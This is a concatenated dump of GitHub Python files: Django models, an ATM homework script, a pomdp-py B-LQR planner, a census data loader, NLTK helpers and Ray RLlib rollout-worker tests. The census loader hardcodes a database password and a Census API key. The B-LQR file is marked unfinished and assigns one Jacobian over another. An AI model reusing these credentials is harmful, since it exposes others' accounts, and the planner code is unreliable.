)\n\n class Meta:\n verbose_name = 'Подписка'\n verbose_name_plural = 'Подписки'\n constraints = [\n UniqueConstraint(\n fields=['user', 'author'],\n name='user_author_unique'\n )\n ]\n\n def __str__(self):\n return f'{self.user} подписан на {self.author}'\n\n def clean(self):\n if self.user == self.author:\n raise ValidationError(\n {'title': 'Нельзя подписаться на самого себя!'}\n )\n super().clean()\n\n def save(self, *args, **kwargs):\n self.full_clean()\n return super().save(*args, **kwargs)\n","repo_name":"Trivium1999/foodgram-project-react","sub_path":"backend/users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30658611384","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Auther: pangguoping\nimport os\nimport sys\nfrom conf import setting\n#账单查询\ndef bills(card_num):\n\n time = input('请输入查询的时间(格式:yyyy_m_dd):')\n log_file = os.path.join(setting.USER_DIR_FOLDER, card_num,'record',time)\n if os.path.exists(log_file):\n match_yes = 0\n with open(log_file,'r',encoding='utf-8') as f:\n for line in f:\n print(line)\n match_yes = 1\n if match_yes == 0:\n print('没有查询月份账单')\n else:\n print('没有查询月份账单')","repo_name":"pangguoping/python-study","sub_path":"day5/homework-ATM/modules/bills.py","file_name":"bills.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11783333469","text":"__author__ = 'amitin'\n\n#!/usr/bin/env python\n\nfrom distutils.core import setup\nimport os\n\npackages = {\n 'PyVPN' : 'PyVPN',\n}\n\nsetup(name='PyVPN',\n version='1.0',\n description='Implementation of VPN client for PyVPN server',\n packages = packages,\n package_dir = {'PyVPN': 'src'},\n data_files=[\n (\n \"/etc/pyvpn\",\n [\n 'PyVPN/client.conf',\n ]\n ),\n ],\n)\n","repo_name":"mitin123/PyVPN","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"6772175509","text":"\"\"\"Implementation of B-LQR algorithm described in \"Belief space planning\nassuming maximum likelihood observations\" :cite:`platt2010belief`\n\"\"\"\n\nimport pomdp_py\nimport numpy as np\nfrom scipy import optimize\n\nclass BLQR(pomdp_py.Planner):\n\n def __init__(self,\n func_sysd, func_obs, jac_sysd, jac_obs, jac_sysd_u,\n noise_obs, noise_sysd,\n Qlarge, L, Q, R,\n planning_horizon=15):\n \"\"\"To initialize the planenr of B-LQR, one needs to supply parameters\n that describe the underlying linear gaussian system, and also\n matrices that describe the cost function. Note that math symbols\n (e.g. xt, ut) are vectors or matrices represented as np.arrays. \n The B-LQR cost function (Eq.14 in the paper):\n\n :math:`J(b_{t:T},u_{t:T}) = \\bar{m}_T^TQ_{large}\\bar{m}_T+\\bar{s}_T^T\\Lambda\\bar{s}_T + \\sum_{k=t}^{T-1}\\bar{m}_k^TQ\\bar{m}_k+\\bar{u}_t^TR\\bar{u}_t`\n \n Args:\n func_sysd (function): f: (xt, ut) -> xt+1\n func_obs (function): g: (xt) -> zt\n jac_sysd (function): dfdx: (mt, ut) -> At\n jac_obs (function): dgdx: (mt) -> Ct\n jac_sysd_u (function): dfdu (mt, ut) -> Bt\n noise_obs (function): (xt) -> pomdp_py.Gaussian. Potentially\n state-dependent observation noise\n noise_sysd (function): (xt) -> pomdp_py.Gaussian. Potentially\n state-dependent system dynamics noise\n Qlarge (np.array) matrix of shape :math:`d \\times d` where :math:`d`\n is the dimensionality of the state vector.\n L (np.array) matrix of shape :math:`d \\times d` where :math:`d`\n is the dimensionality of the state vector.\n (Same as :math:`\\Lambda` in the equation)\n Q (np.array) matrix of shape :math:`d \\times d` where :math:`d`\n is the dimensionality of the state vector.\n R (np.array) matrix of shape :math:`c \\times c` where :math:`c`\n is the dimensionality of the control vector.\n planning_horizon (int): This is the :math:`T`, the planning horizon.\n\n \"\"\"\n self._func_sysd = func_sysd\n self._func_obs = func_obs\n self._jac_sysd = jac_sysd\n self._jac_obs = jac_obs\n self._jac_sysd = jac_sysd_u\n self._noise_obs = noise_obs\n self._noise_sysd = noise_sysd \n self._Qlarge = Qlarge\n self._L = L # Lambda\n self._Q = Q\n self._R = R\n self._planning_horizon = planning_horizon\n self._dim_state = self._Q.shape[0]\n self._dim_control = self._R.shape[0]\n\n \n def ekf_update_mlo(self, bt, ut):\n \"\"\"\n Performs the ekf belief update assuming maximum likelihood observation.\n This follows equations 12, 13 in the paper. It's the function :math:`F`.\n\n Args:\n bt (tuple): a belief point bt = (mt, Cov_t) representing the belief state.\n where mt is np.array of shape (d,) and Cov_t is np.array of shape (d,d).\n The cost function equation needs to turn Cov_t into a long vector consist\n of the columns of Cov_t stiched together.\n ut (np.array): control vector\n noise_t (pomdp_py.Gaussian): The Gaussian noise with \"possibly state-dependent\"\n covariance matrix Wt.\n noise_sysd (np.array): A noise term (e.g. Gaussian noise) added to the\n system dynamics (:math:`v` in Eq.12). This array should have the sam\n dimensionality as mt.\n noise_obs_cov (np.array): The covariance matrix of the Gaussian noise of the\n observation function. This corresponds to Wt in equation 13.\n \"\"\"\n # TODO: FIX\n mt, Cov_t = bt \n At = self._jac_sysd(mt, ut)\n Ct = self._jac_obs(mt) # based on maximum likelihood observation\n Wt = self._noise_obs(mt).cov\n Gat = np.dot(np.dot(At, Cov_t), At.transpose()) # Gamma_t = At*Cov_t*At^T\n CGC_W_inv = np.linalg.inv(np.dot(np.dot(Ct, Gat), Ct.transpose()) + Wt)\n Cov_next = Gat - np.dot(np.dot(np.dot(np.dot(Gat, Ct.transpose()), CGC_W_inv), Ct), Gat)\n m_next = self._func_sysd(mt, ut) + self._noise_sysd(mt).random()\n return (m_next, Cov_next)\n\n def _b_u_seg(self, x, i):\n \"\"\"Returns the elements of x that corresponds to the belief and controls,\n as a tuple (m_i, Covi, u_i)\"\"\"\n d = self._dim_state\n c = self._dim_control\n start = i*(d + (d*d) + c)\n end = (i+1)*(d + (d*d) + c)\n m_i_end = i*(d + (d*d) + c) + d\n Covi_end = i*(d + (d*d) + c) + d + d*d\n u_end = i*(d + (d*d) + c) + d + d*d + c\n return x[start:m_i_end], x[m_i_end:Covi_end], x[Covi_end:u_end]\n \n def _control_max_constraint(self, x, i, max_val):\n _, _, u_i = self._b_u_seg(x, i)\n return max_val - u_i\n\n def _control_min_constraint(self, x, i, min_val):\n _, _, u_i = self._b_u_seg(x, i)\n return u_i - min_val\n\n def _mean_final_constraint(self, x, m_des, num_segments):\n m_k, _, _ = self._b_u_seg(x, num_segments-1)\n return m_k - m_des\n \n def _mean_start_constraint(self, x, m_0):\n m_k, _, _ = self._b_u_seg(x, 0)\n return m_k - m_0\n\n def _belief_constraint(self, x, i, num_segments):\n m_i, s_i, u_i = self._b_u_seg(x, i)\n Cov_i = s_i.reshape(self._dim_state, self._dim_state).transpose()\n m_ip1, Cov_ip1 = self.integrate_belief_segment((m_i, Cov_i), u_i, num_segments)\n s_ip1 = Cov_ip1.transpose().reshape(-1,)\n b_i_vec = np.append(m_i, s_i)\n b_ip1_vec = np.append(m_ip1, s_ip1)\n return b_i_vec - b_ip1_vec\n\n def integrate_belief_segment(self, b_i, u_i, num_segments):\n \"\"\"This is to represent equation 18.\n \n phi(b_i', u_i') = F(b_i', u_i') + sum F(b_{t+1}, u_i) - F(b_t, u_i)\n t in seg\n\n This essentially returns b_{i+1}'\n \"\"\"\n m_i, Cov_i = b_i\n b_seg = [self.ekf_update_mlo((m_i, Cov_i), u_i)]\n for t in range(1, self._planning_horizon // num_segments):\n b_seg.append(self.ekf_update_mlo(b_seg[t-1], u_i))\n sum_mean = b_seg[0][0]\n sum_Cov = b_seg[0][1]\n for t in range(len(b_seg)):\n if t + 1 < len(b_seg) - 1:\n sum_mean += (b_seg[t+1][0] - b_seg[t][0])\n sum_Cov += (b_seg[t+1][1] - b_seg[t][1])\n return sum_mean, sum_Cov\n\n \n def _opt_cost_func_seg(self, x, b_des, u_des, num_segments):\n \"\"\"This will be used as part of the objective function for scipy\n optimizer. Therefore we only take in one input vector, x. We require\n the structure of x to be:\n\n [ m1 | Cov 1 | u1 ] ... [ m_i | Cov i | u_i ]\n\n Use the _b_u_seg function to obtain the individual parts.\n \"\"\"\n bu_traj = []\n for i in range(num_segments):\n m_i, s_i, u_i = self._b_u_seg(x, i)\n Cov_i = s_i.reshape(self._dim_state, self._dim_state).transpose()\n bu_traj.append(((m_i, Cov_i), u_i))\n return self.segmented_cost_function(bu_traj, b_des, u_des, num_segments)\n\n def segmented_cost_function(self, bu_traj, b_des, u_des, num_segments):\n \"\"\"The cost function in eq 17. \n\n Args:\n b_des (tuple): The desired belief (mT, CovT). This is needed to compute the cost function.\n u_des (list): A list of desired controls at the beginning of each segment.\n If this information is not available, pass in an empty list.\n \"\"\"\n if len(u_des) > 0 and len(u_des) != num_segments:\n raise ValueError(\"The list of desired controls, if provided, must have one control\"\\\n \"per segment\")\n\n b_T, u_T = bu_traj[-1]\n m_T, Cov_T = b_T\n s_T = Cov_T.transpose().reshape(-1,)\n \n sLs = np.dot(np.dot(s_T.transpose(), self._L), s_T)\n Summation = 0\n for i in range(num_segments):\n b_i, u_i = bu_traj[i]\n m_i, _ = b_i\n m_i_diff = m_i - b_des[0]\n if len(u_des) > 0:\n u_i_des = u_des[i]\n else:\n u_i_des = np.zeros(self._dim_control)\n u_i_diff = u_i - u_i_des\n Summation += np.dot(np.dot(m_i_diff.transpose(), self._Q), m_i_diff)\\\n + np.dot(np.dot(u_i_diff.transpose(), self._R), u_i_diff)\n return sLs + Summation\n \n def create_plan(self, b_0, b_des, u_init, num_segments=5, control_bounds=None,\n opt_options={}, opt_callback=None):\n \"\"\"Solves the SQP problem using direct transcription, and produce belief points\n and controls at segments.\n Reference: https://docs.scipy.org/doc/scipy/reference/tutorial/optimize.html\"\"\"\n # build initial guess from initial belief and the given trajectory.\n x_0 = []\n b_i = b_0\n for i in range(num_segments):\n m_i, Cov_i = b_i\n s_i = Cov_i.transpose().reshape(-1,)\n u_i = u_init[i]\n x_0.extend(m_i)\n x_0.extend(s_i)\n x_0.extend(u_i)\n b_i = self.integrate_belief_segment(b_i, u_i, num_segments)\n\n # constraints \n constraints = []\n ## initial belief constraint\n cons_start = {'type': 'eq',\n 'fun': self._mean_start_constraint,\n 'args': [b_0[0]]}\n constraints.append(cons_start)\n ## belief dynamics constraints and control bounds\n for i in range(num_segments):\n if i + 1 < num_segments-1:\n cons_belief = {'type': 'eq',\n 'fun': self._belief_constraint,\n 'args': [i, num_segments]}\n constraints.append(cons_belief)\n\n # control bounds\n if control_bounds is not None:\n cons_control_min = {'type': 'ineq',\n 'fun': self._control_min_constraint,\n 'args': [i, control_bounds[0]]} \n cons_control_max = {'type': 'ineq',\n 'fun': self._control_max_constraint,\n 'args': [i, control_bounds[1]]}\n constraints.append(cons_control_min)\n constraints.append(cons_control_max)\n\n # final belief constraint\n cons_final = {'type': 'eq',\n 'fun': self._mean_final_constraint,\n 'args': [b_des[0], num_segments]}\n constraints.append(cons_final)\n\n opt_res = optimize.minimize(self._opt_cost_func_seg, x_0,\n method=\"SLSQP\",\n args=(b_des, u_init, num_segments),\n constraints=constraints,\n options=opt_options,\n callback=opt_callback)\n return opt_res\n\n def interpret_sqp_plan(self, opt_res, num_segments):\n x_res = opt_res.x\n plan = []\n for i in range(num_segments):\n m_i, s_i, u_i = self._b_u_seg(x_res, i)\n Cov_i = s_i.reshape(self._dim_state, self._dim_state).transpose()\n plan.append((m_i, Cov_i, u_i))\n return plan\n","repo_name":"h2r/pomdp-py","sub_path":"pomdp_py/algorithms/bsp/blqr.py","file_name":"blqr.py","file_ext":"py","file_size_in_byte":11551,"program_lang":"python","lang":"en","doc_type":"code","stars":166,"dataset":"github-code","pt":"37"} +{"seq_id":"70307960109","text":"import requests\r\nimport json\r\nimport psycopg2\r\n\r\n\"\"\"\r\nB01001_001E: Total population for sex\r\nB01001_002E: Total Male\r\nB01001_026E: Total female\r\nB05002_001E: Total for place of birth\r\nB05002_003E: Total for born in state of residence\r\nB05002_004E: Total for born in another state\r\nB05002_009E: Total for born outside the US\r\n\"\"\"\r\n\r\ndef connect_to_database():\r\n conn = psycopg2.connect(\r\n host = \"acs-db.mlpolicylab.dssg.io\",\r\n port = \"5432\",\r\n user=\"mlpp_student\",\r\n password = \"CARE-horse-most\",\r\n database = \"acs_data_loading\",\r\n options=\"-c search_path=dbo,acs\"\r\n )\r\n return conn\r\n\r\n\r\n\r\n\r\ndef make_get_string(variable_list):\r\n get = ''\r\n for v in variable_list:\r\n get = get + v + ','\r\n get = get.rstrip(',')\r\n return get\r\n\r\ndef get_variable_names(vars):\r\n variable_types = {}\r\n for variable in vars:\r\n if variable == 'Name':\r\n var_type = 'Text'\r\n var_name = 'Name'\r\n else:\r\n var_call = requests.get(f\"https://api.census.gov/data/2019/acs/acs5/variables/{variable}.json\")\r\n var_type = var_call.json()['predicateType']\r\n var_name = var_call.json()['label']\r\n var_name = var_name.rstrip(':')\r\n var_name = var_name.replace(\" \", \"_\")\r\n var_name = var_name.replace(\"!!\", \"_\")\r\n var_name = var_name.replace(\":\", \"\")\r\n if var_type == 'int':\r\n var_type = 'integer'\r\n variable_types[var_name] = var_type\r\n return variable_types\r\n \r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n state = '24'\r\n variables = ['B01001_001E','B01001_002E','B01001_026E','B05002_001E','B05002_003E','B05002_004E','B05002_009E']\r\n get = make_get_string(variables)\r\n tablename = \"cweddle_acs_data\"\r\n\r\n #API Call\r\n call = f\"https://api.census.gov/data/2019/acs/acs5?get={get}&for=block+group:*&in=state:{state}+county:*&key=60f45d14da19259448e4ef39a0f612b15194dbe8\"\r\n response = requests.get(call)\r\n data = response.json()\r\n \r\n\r\n #Connect to the database\r\n conn = psycopg2.connect(\r\n host = \"acs-db.mlpolicylab.dssg.io\",\r\n port = \"5432\",\r\n user=\"mlpp_student\",\r\n password = \"CARE-horse-most\",\r\n database = \"acs_data_loading\",\r\n options=\"-c search_path=dbo,acs\"\r\n )\r\n\r\n cur = conn.cursor()\r\n\r\n variable_types = get_variable_names(variables)\r\n cur.execute(f\"\"\"\r\n CREATE TABLE IF NOT EXISTS {tablename}(\r\n Total_Population_Sex integer,\r\n Total_Male_Population integer,\r\n Total_Female_Population integer,\r\n Total_Population_Birthplace integer,\r\n Born_in_State_of_Residence integer,\r\n Born_in_Another_State integer,\r\n Born_out_of_country integer,\r\n State integer,\r\n County integer,\r\n Tract integer,\r\n Block_Group integer\r\n )\r\n \"\"\")\r\n\r\n index = 0\r\n for i in data:\r\n if index == 0:\r\n pass\r\n else:\r\n cur.execute(f\"\"\"INSERT INTO {tablename} VALUES (\r\n %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\", (\r\n i[0], i[1], i[2], i[3], i[4], i[5], i[6], i[7], i[8], i[9], i[10]))\r\n index += 1\r\n conn.commit()\r\n conn.close()\r\n\r\n\r\n\r\n","repo_name":"cgweddle/MLPP_ACS_Data","sub_path":"ACS_Requests.py","file_name":"ACS_Requests.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33141298471","text":"# Helper methods for NLTK\n\n\ndef measure_lexical_diversity(tokenized_string):\n \"\"\"\n Given a tokenized string (list of tokens), return the fraction of unique tokens to total tokens.\n \"\"\"\n return len(set(tokenized_string)) / len(tokenized_string)\n\n\ndef compute_perc_word_usage(word, tokenized_string):\n \"\"\"\n Given a tokenized string (list of tokens), return the fraction of use of a given word as fraction of all tokens.\n \"\"\"\n return tokenized_string.count(word) / len(tokenized_string)\n\n\ndef plot_freqdist_freq(fd,\n max_num=None,\n cumulative=False,\n title='Frequency plot',\n linewidth=2):\n \"\"\"\n As of NLTK version 3.2.1, FreqDist.plot() plots the counts and has no kwarg for normalising to frequency. Work this around here.\n INPUT:\n - the FreqDist object\n - max_num: if specified, only plot up to this number of items (they are already sorted descending by the FreqDist)\n - cumulative: bool (defaults to False)\n - title: the title to give the plot\n - linewidth: the width of line to use (defaults to 2)\n OUTPUT: plot the freq and return None.\n \"\"\"\n\n tmp = fd.copy()\n norm = fd.N()\n for key in tmp.keys():\n tmp[key] = float(fd[key]) / norm\n\n if max_num:\n tmp.plot(max_num, cumulative=cumulative,\n title=title, linewidth=linewidth)\n else:\n tmp.plot(cumulative=cumulative, title=title, linewidth=linewidth)\n\n return\n","repo_name":"martinapugliese/tales-science-data","sub_path":"common_functions/nltk_helpers.py","file_name":"nltk_helpers.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"37"} +{"seq_id":"35765342360","text":"from collections import Counter\nimport gym\nimport numpy as np\nimport os\nimport random\nimport time\nimport unittest\n\nimport ray\nfrom ray.rllib.agents.pg import PGTrainer\nfrom ray.rllib.agents.a3c import A2CTrainer\nfrom ray.rllib.env.vector_env import VectorEnv\nfrom ray.rllib.evaluation.rollout_worker import RolloutWorker\nfrom ray.rllib.evaluation.metrics import collect_metrics\nfrom ray.rllib.evaluation.postprocessing import compute_advantages\nfrom ray.rllib.examples.policy.random_policy import RandomPolicy\nfrom ray.rllib.policy.sample_batch import DEFAULT_POLICY_ID, SampleBatch\nfrom ray.rllib.utils.test_utils import check, framework_iterator\nfrom ray.tune.registry import register_env\n\n\nclass MockPolicy(RandomPolicy):\n def compute_actions(self,\n obs_batch,\n state_batches=None,\n prev_action_batch=None,\n prev_reward_batch=None,\n episodes=None,\n explore=None,\n timestep=None,\n **kwargs):\n return np.array([random.choice([0, 1])] * len(obs_batch)), [], {}\n\n def postprocess_trajectory(self,\n batch,\n other_agent_batches=None,\n episode=None):\n assert episode is not None\n return compute_advantages(\n batch, 100.0, 0.9, use_gae=False, use_critic=False)\n\n\nclass BadPolicy(RandomPolicy):\n def compute_actions(self,\n obs_batch,\n state_batches=None,\n prev_action_batch=None,\n prev_reward_batch=None,\n episodes=None,\n explore=None,\n timestep=None,\n **kwargs):\n raise Exception(\"intentional error\")\n\n\nclass FailOnStepEnv(gym.Env):\n def __init__(self):\n self.observation_space = gym.spaces.Discrete(1)\n self.action_space = gym.spaces.Discrete(2)\n\n def reset(self):\n raise ValueError(\"kaboom\")\n\n def step(self, action):\n raise ValueError(\"kaboom\")\n\n\nclass MockEnv(gym.Env):\n def __init__(self, episode_length, config=None):\n self.episode_length = episode_length\n self.config = config\n self.i = 0\n self.observation_space = gym.spaces.Discrete(1)\n self.action_space = gym.spaces.Discrete(2)\n\n def reset(self):\n self.i = 0\n return self.i\n\n def step(self, action):\n self.i += 1\n return 0, 1, self.i >= self.episode_length, {}\n\n\nclass MockEnv2(gym.Env):\n def __init__(self, episode_length):\n self.episode_length = episode_length\n self.i = 0\n self.observation_space = gym.spaces.Discrete(100)\n self.action_space = gym.spaces.Discrete(2)\n\n def reset(self):\n self.i = 0\n return self.i\n\n def step(self, action):\n self.i += 1\n return self.i, 100, self.i >= self.episode_length, {}\n\n\nclass MockVectorEnv(VectorEnv):\n def __init__(self, episode_length, num_envs):\n super().__init__(\n observation_space=gym.spaces.Discrete(1),\n action_space=gym.spaces.Discrete(2),\n num_envs=num_envs)\n self.envs = [MockEnv(episode_length) for _ in range(num_envs)]\n\n def vector_reset(self):\n return [e.reset() for e in self.envs]\n\n def reset_at(self, index):\n return self.envs[index].reset()\n\n def vector_step(self, actions):\n obs_batch, rew_batch, done_batch, info_batch = [], [], [], []\n for i in range(len(self.envs)):\n obs, rew, done, info = self.envs[i].step(actions[i])\n obs_batch.append(obs)\n rew_batch.append(rew)\n done_batch.append(done)\n info_batch.append(info)\n return obs_batch, rew_batch, done_batch, info_batch\n\n def get_unwrapped(self):\n return self.envs\n\n\nclass TestRolloutWorker(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n ray.init(num_cpus=5)\n\n @classmethod\n def tearDownClass(cls):\n ray.shutdown()\n\n def test_basic(self):\n ev = RolloutWorker(\n env_creator=lambda _: gym.make(\"CartPole-v0\"), policy=MockPolicy)\n batch = ev.sample()\n for key in [\n \"obs\", \"actions\", \"rewards\", \"dones\", \"advantages\",\n \"prev_rewards\", \"prev_actions\"\n ]:\n self.assertIn(key, batch)\n self.assertGreater(np.abs(np.mean(batch[key])), 0)\n\n def to_prev(vec):\n out = np.zeros_like(vec)\n for i, v in enumerate(vec):\n if i + 1 < len(out) and not batch[\"dones\"][i]:\n out[i + 1] = v\n return out.tolist()\n\n self.assertEqual(batch[\"prev_rewards\"].tolist(),\n to_prev(batch[\"rewards\"]))\n self.assertEqual(batch[\"prev_actions\"].tolist(),\n to_prev(batch[\"actions\"]))\n self.assertGreater(batch[\"advantages\"][0], 1)\n\n def test_batch_ids(self):\n ev = RolloutWorker(\n env_creator=lambda _: gym.make(\"CartPole-v0\"), policy=MockPolicy)\n batch1 = ev.sample()\n batch2 = ev.sample()\n self.assertEqual(len(set(batch1[\"unroll_id\"])), 1)\n self.assertEqual(len(set(batch2[\"unroll_id\"])), 1)\n self.assertEqual(\n len(set(SampleBatch.concat(batch1, batch2)[\"unroll_id\"])), 2)\n\n def test_global_vars_update(self):\n # Allow for Unittest run.\n ray.init(num_cpus=5, ignore_reinit_error=True)\n for fw in framework_iterator(frameworks=()):\n agent = A2CTrainer(\n env=\"CartPole-v0\",\n config={\n \"num_workers\": 1,\n \"lr_schedule\": [[0, 0.1], [100000, 0.000001]],\n \"framework\": fw,\n })\n result = agent.train()\n for i in range(10):\n result = agent.train()\n print(\"num_steps_sampled={}\".format(\n result[\"info\"][\"num_steps_sampled\"]))\n print(\"num_steps_trained={}\".format(\n result[\"info\"][\"num_steps_trained\"]))\n print(\"num_steps_sampled={}\".format(\n result[\"info\"][\"num_steps_sampled\"]))\n print(\"num_steps_trained={}\".format(\n result[\"info\"][\"num_steps_trained\"]))\n if i == 0:\n self.assertGreater(\n result[\"info\"][\"learner\"][\"default_policy\"][\"cur_lr\"],\n 0.01)\n if result[\"info\"][\"learner\"][\"default_policy\"][\"cur_lr\"] < \\\n 0.07:\n break\n self.assertLess(\n result[\"info\"][\"learner\"][\"default_policy\"][\"cur_lr\"], 0.07)\n\n def test_no_step_on_init(self):\n # Allow for Unittest run.\n ray.init(num_cpus=5, ignore_reinit_error=True)\n register_env(\"fail\", lambda _: FailOnStepEnv())\n for fw in framework_iterator(frameworks=()):\n pg = PGTrainer(\n env=\"fail\", config={\n \"num_workers\": 1,\n \"framework\": fw,\n })\n self.assertRaises(Exception, lambda: pg.train())\n\n def test_callbacks(self):\n for fw in framework_iterator(frameworks=(\"torch\", \"tf\")):\n counts = Counter()\n pg = PGTrainer(\n env=\"CartPole-v0\", config={\n \"num_workers\": 0,\n \"rollout_fragment_length\": 50,\n \"train_batch_size\": 50,\n \"callbacks\": {\n \"on_episode_start\":\n lambda x: counts.update({\"start\": 1}),\n \"on_episode_step\":\n lambda x: counts.update({\"step\": 1}),\n \"on_episode_end\": lambda x: counts.update({\"end\": 1}),\n \"on_sample_end\":\n lambda x: counts.update({\"sample\": 1}),\n },\n \"framework\": fw,\n })\n pg.train()\n pg.train()\n self.assertGreater(counts[\"sample\"], 0)\n self.assertGreater(counts[\"start\"], 0)\n self.assertGreater(counts[\"end\"], 0)\n self.assertGreater(counts[\"step\"], 0)\n\n def test_query_evaluators(self):\n # Allow for Unittest run.\n ray.init(num_cpus=5, ignore_reinit_error=True)\n register_env(\"test\", lambda _: gym.make(\"CartPole-v0\"))\n for fw in framework_iterator(frameworks=(\"torch\", \"tf\")):\n pg = PGTrainer(\n env=\"test\",\n config={\n \"num_workers\": 2,\n \"rollout_fragment_length\": 5,\n \"num_envs_per_worker\": 2,\n \"framework\": fw,\n })\n results = pg.workers.foreach_worker(\n lambda ev: ev.rollout_fragment_length)\n results2 = pg.workers.foreach_worker_with_index(\n lambda ev, i: (i, ev.rollout_fragment_length))\n results3 = pg.workers.foreach_worker(\n lambda ev: ev.foreach_env(lambda env: 1))\n self.assertEqual(results, [10, 10, 10])\n self.assertEqual(results2, [(0, 10), (1, 10), (2, 10)])\n self.assertEqual(results3, [[1, 1], [1, 1], [1, 1]])\n\n def test_reward_clipping(self):\n # clipping on\n ev = RolloutWorker(\n env_creator=lambda _: MockEnv2(episode_length=10),\n policy=MockPolicy,\n clip_rewards=True,\n batch_mode=\"complete_episodes\")\n self.assertEqual(max(ev.sample()[\"rewards\"]), 1)\n result = collect_metrics(ev, [])\n self.assertEqual(result[\"episode_reward_mean\"], 1000)\n\n # clipping off\n ev2 = RolloutWorker(\n env_creator=lambda _: MockEnv2(episode_length=10),\n policy=MockPolicy,\n clip_rewards=False,\n batch_mode=\"complete_episodes\")\n self.assertEqual(max(ev2.sample()[\"rewards\"]), 100)\n result2 = collect_metrics(ev2, [])\n self.assertEqual(result2[\"episode_reward_mean\"], 1000)\n\n def test_hard_horizon(self):\n ev = RolloutWorker(\n env_creator=lambda _: MockEnv2(episode_length=10),\n policy=MockPolicy,\n batch_mode=\"complete_episodes\",\n rollout_fragment_length=10,\n episode_horizon=4,\n soft_horizon=False)\n samples = ev.sample()\n # Three logical episodes and correct episode resets (always after 4\n # steps).\n self.assertEqual(len(set(samples[\"eps_id\"])), 3)\n for i in range(4):\n self.assertEqual(np.argmax(samples[\"obs\"][i]), i)\n self.assertEqual(np.argmax(samples[\"obs\"][4]), 0)\n # 3 done values.\n self.assertEqual(sum(samples[\"dones\"]), 3)\n\n # A gym env's max_episode_steps is smaller than Trainer's horizon.\n ev = RolloutWorker(\n env_creator=lambda _: gym.make(\"CartPole-v0\"),\n policy=MockPolicy,\n batch_mode=\"complete_episodes\",\n rollout_fragment_length=10,\n episode_horizon=6,\n soft_horizon=False)\n samples = ev.sample()\n # 12 steps due to `complete_episodes` batch_mode.\n self.assertEqual(len(samples[\"eps_id\"]), 12)\n # Two logical episodes and correct episode resets (always after 6(!)\n # steps).\n self.assertEqual(len(set(samples[\"eps_id\"])), 2)\n # 2 done values after 6 and 12 steps.\n check(samples[\"dones\"], [\n False, False, False, False, False, True, False, False, False,\n False, False, True\n ])\n\n def test_soft_horizon(self):\n ev = RolloutWorker(\n env_creator=lambda _: MockEnv(episode_length=10),\n policy=MockPolicy,\n batch_mode=\"complete_episodes\",\n rollout_fragment_length=10,\n episode_horizon=4,\n soft_horizon=True)\n samples = ev.sample()\n # three logical episodes\n self.assertEqual(len(set(samples[\"eps_id\"])), 3)\n # only 1 hard done value\n self.assertEqual(sum(samples[\"dones\"]), 1)\n\n def test_metrics(self):\n # Allow for Unittest run.\n ray.init(num_cpus=5, ignore_reinit_error=True)\n ev = RolloutWorker(\n env_creator=lambda _: MockEnv(episode_length=10),\n policy=MockPolicy,\n batch_mode=\"complete_episodes\")\n remote_ev = RolloutWorker.as_remote().remote(\n env_creator=lambda _: MockEnv(episode_length=10),\n policy=MockPolicy,\n batch_mode=\"complete_episodes\")\n ev.sample()\n ray.get(remote_ev.sample.remote())\n result = collect_metrics(ev, [remote_ev])\n self.assertEqual(result[\"episodes_this_iter\"], 20)\n self.assertEqual(result[\"episode_reward_mean\"], 10)\n\n def test_async(self):\n ev = RolloutWorker(\n env_creator=lambda _: gym.make(\"CartPole-v0\"),\n sample_async=True,\n policy=MockPolicy)\n batch = ev.sample()\n for key in [\"obs\", \"actions\", \"rewards\", \"dones\", \"advantages\"]:\n self.assertIn(key, batch)\n self.assertGreater(batch[\"advantages\"][0], 1)\n\n def test_auto_vectorization(self):\n ev = RolloutWorker(\n env_creator=lambda cfg: MockEnv(episode_length=20, config=cfg),\n policy=MockPolicy,\n batch_mode=\"truncate_episodes\",\n rollout_fragment_length=2,\n num_envs=8)\n for _ in range(8):\n batch = ev.sample()\n self.assertEqual(batch.count, 16)\n result = collect_metrics(ev, [])\n self.assertEqual(result[\"episodes_this_iter\"], 0)\n for _ in range(8):\n batch = ev.sample()\n self.assertEqual(batch.count, 16)\n result = collect_metrics(ev, [])\n self.assertEqual(result[\"episodes_this_iter\"], 8)\n indices = []\n for env in ev.async_env.vector_env.envs:\n self.assertEqual(env.unwrapped.config.worker_index, 0)\n indices.append(env.unwrapped.config.vector_index)\n self.assertEqual(indices, [0, 1, 2, 3, 4, 5, 6, 7])\n\n def test_batches_larger_when_vectorized(self):\n ev = RolloutWorker(\n env_creator=lambda _: MockEnv(episode_length=8),\n policy=MockPolicy,\n batch_mode=\"truncate_episodes\",\n rollout_fragment_length=4,\n num_envs=4)\n batch = ev.sample()\n self.assertEqual(batch.count, 16)\n result = collect_metrics(ev, [])\n self.assertEqual(result[\"episodes_this_iter\"], 0)\n batch = ev.sample()\n result = collect_metrics(ev, [])\n self.assertEqual(result[\"episodes_this_iter\"], 4)\n\n def test_vector_env_support(self):\n ev = RolloutWorker(\n env_creator=lambda _: MockVectorEnv(episode_length=20, num_envs=8),\n policy=MockPolicy,\n batch_mode=\"truncate_episodes\",\n rollout_fragment_length=10)\n for _ in range(8):\n batch = ev.sample()\n self.assertEqual(batch.count, 10)\n result = collect_metrics(ev, [])\n self.assertEqual(result[\"episodes_this_iter\"], 0)\n for _ in range(8):\n batch = ev.sample()\n self.assertEqual(batch.count, 10)\n result = collect_metrics(ev, [])\n self.assertEqual(result[\"episodes_this_iter\"], 8)\n\n def test_truncate_episodes(self):\n ev = RolloutWorker(\n env_creator=lambda _: MockEnv(10),\n policy=MockPolicy,\n rollout_fragment_length=15,\n batch_mode=\"truncate_episodes\")\n batch = ev.sample()\n self.assertEqual(batch.count, 15)\n\n def test_complete_episodes(self):\n ev = RolloutWorker(\n env_creator=lambda _: MockEnv(10),\n 